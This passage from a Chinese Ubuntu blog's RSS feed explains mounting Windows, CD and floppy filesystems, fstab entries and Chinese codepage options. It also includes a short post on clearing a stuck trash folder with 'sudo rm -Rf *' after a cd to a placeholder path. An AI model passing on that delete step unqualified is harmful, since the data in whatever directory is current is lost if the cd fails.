# mount -t msdos /dev/fd0 /mnt/floppy<br />
# mount -t iso9660 /dev/cdrom /mnt/cdrom<br />
现在就可以进入/mnt/winc等目录读写这些文件系统了。</p>
<p>要保证最后两行的命令不出错，要确保软驱和光驱里有盘。（要是硬盘的磁盘片也可以经常随时更换的话，我想就不会犯这样的错误了 :-&gt; ）<br />
如果你的windows98目录里有中文文件名，使用上面的命令挂载后，显示的是一堆乱码。这就要用到 -o 参数里的codepage iocharset选项。codepage指定文件系统的代码页，简体中文中文代码是936；iocharset指定字符集，简体中文一般用cp936或gb2312。</p>
<p>当挂载的文件系统linux不支持时，mount一定报错，如windows2000的ntfs文件系统。可以重新编译linux内核以获得对该文件系统的支持。关于重新编译linux内核，就不在这里说了。</p>
<p>四 、自动挂载<br />
每次开机访问windows分区都要运行mount命令显然太烦琐，为什么访问其他的linux分区不用使用mount命令呢？<br />
其实，每次开机时，linux自动将需要挂载的linux分区挂载上了。那么我们是不是可以设定让linux在启动的时候也挂载我们希望挂载的分区，如windows分区，以实现文件系统的自动挂载呢？<br />
这是完全可以的。在/etc目录下有个fstab文件，它里面列出了linux开机时自动挂载的文件系统的列表。我的/etc/fstab文件如下：</p>
<p>/dev/hda2 / ext3 defaults 1 1<br />
/dev/hda1 /boot ext3 defaults 1 2<br />
none /dev/pts devpts gid=5,mode=620 0 0<br />
none /proc proc defaults 0 0<br />
none /dev/shm tmpfs defaults 0 0<br />
/dev/hda3 swap swap defaults 0 0<br />
/dev/cdrom /mnt/cdrom iso9660 noauto,codepage=936,iocharset=gb2312 0 0<br />
/dev/fd0 /mnt/floppy auto noauto,owner,kudzu 0 0<br />
/dev/hdb1 /mnt/winc vfat defaults,codepage=936,iocharset=cp936 0 0<br />
/dev/hda5 /mnt/wind vfat defaults,codepage=936,iocharset=cp936 0 0</p>
<p>在/etc/fstab文件里，第一列是挂载的文件系统的设备名，第二列是挂载点，第三列是挂载的文件系统类型，第四列是挂载的选项，选项间用逗号分隔。第五六列不知道是什么意思，还望高手指点。</p>
<p>在最后两行是我手工添加的windows下的C；D盘，加了codepage=936和iocharset=cp936参数以支持中文文件名。参数defaults实际上包含了一组默认参数：</p>
<p>rw 以可读写模式挂载<br />
suid 开启用户ID和群组ID设置位<br />
dev 可解读文件系统上的字符或区块设备<br />
exec 可执行二进制文件<br />
auto 自动挂载<br />
nouser 使一般用户无法挂载<br />
async 以非同步方式执行文件系统的输入输出操作</p>
<p>大家可以看到在这个列表里，光驱和软驱是不自动挂载的，参数设置为noauto。（如果你非要设成自动挂载，你要确保每次开机时你的光驱和软驱里都要有盘，呵呵。）</p>
<p><!--more--></p>
<p><a class="a2a_dd a2a_target addtoany_share_save" href="http://www.addtoany.com/share_save#url=http%3A%2F%2Fwww.ptubuntu.com%2F2009%2F01%2F1479.html&amp;title=mount%3A%20error%20while%20guessing%20filesystem%20type" id="wpa2a_18"><img src="http://www.ptubuntu.com/wp-content/plugins/add-to-any/share_save_171_16.png" width="171" height="16" alt="Share"/></a></p>]]></content:encoded>
			<wfw:commentRss>http://www.ptubuntu.com/2009/01/1479.html/feed</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>ubuntu回收筒里的资料无法删除</title>
		<link>http://www.ptubuntu.com/2009/01/1394.html</link>
		<comments>http://www.ptubuntu.com/2009/01/1394.html#comments</comments>
		<pubDate>Fri, 09 Jan 2009 08:19:07 +0000</pubDate>
		<dc:creator>ptubuntu</dc:creator>
				<category><![CDATA[Linux Server]]></category>
		<category><![CDATA[Ubuntu]]></category>
		<category><![CDATA[linux命令]]></category>

		<guid isPermaLink="false">http://www.ptubuntu.com/?p=1394</guid>
		<description><![CDATA[现在很多人在看着自己的某些文件在垃圾筒里.但是不能删除.那么就需要有用命令来删除这些东西了.如果你删除遇到错误如: Error removing file: Permission denied 那你就命令下面去删除. #cd /home/YOUR-USER-NAME/.local/share/Trash/files 删除文件. sudo rm -f * 如果是文件，文件夹和文件的文件夹，试试这个: sudo rm -Rf *]]></description>
			<content:encoded><![CDATA[<p>现在很多人在看着自己的某些文件在垃圾筒里.但是不能删除.那么就需要有用命令来删除这些东西了.如果你删除遇到错误如:</p>
<p>Error removing file: Permission denied</p>
<p>那你就命令下面去删除.</p>
<blockquote><p>#cd /home/YOUR-USER-NAME/.local/share/Trash/files</p></blockquote>
<p>删除文件.</p>
<blockquote><p>sudo rm -f *</p></blockquote>
<p>如果是文件，文件夹和文件的文件夹，试试这个:</p>
<blockquote><p>sudo rm -Rf *</p></blockquote>
<p><a class="a2a_dd a2a_target addtoany_share_save" href="http://www.addtoany.com/share_save#url=http%3A%2F%2Fwww.ptubuntu.com%2F2009%2F01%2F1394.html&amp;title=ubuntu%E5%9B%9E%E6%94%B6%E7%AD%92%E9%87%8C%E7%9A%84%E8%B5%84%E6%96%99%E6%97%A0%E6%B3%95%E5%88%A0%E9%99%A4" id="wpa2a_20"><img src="http://www.ptubuntu.com/wp-content/plugins/add-to-any/share_save_171_16.png" width="171" height="16" alt="Share"/></a></p>]]></content:encoded>
			<wfw:commentRss>http://www.ptubuntu.com/2009/01/1394.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

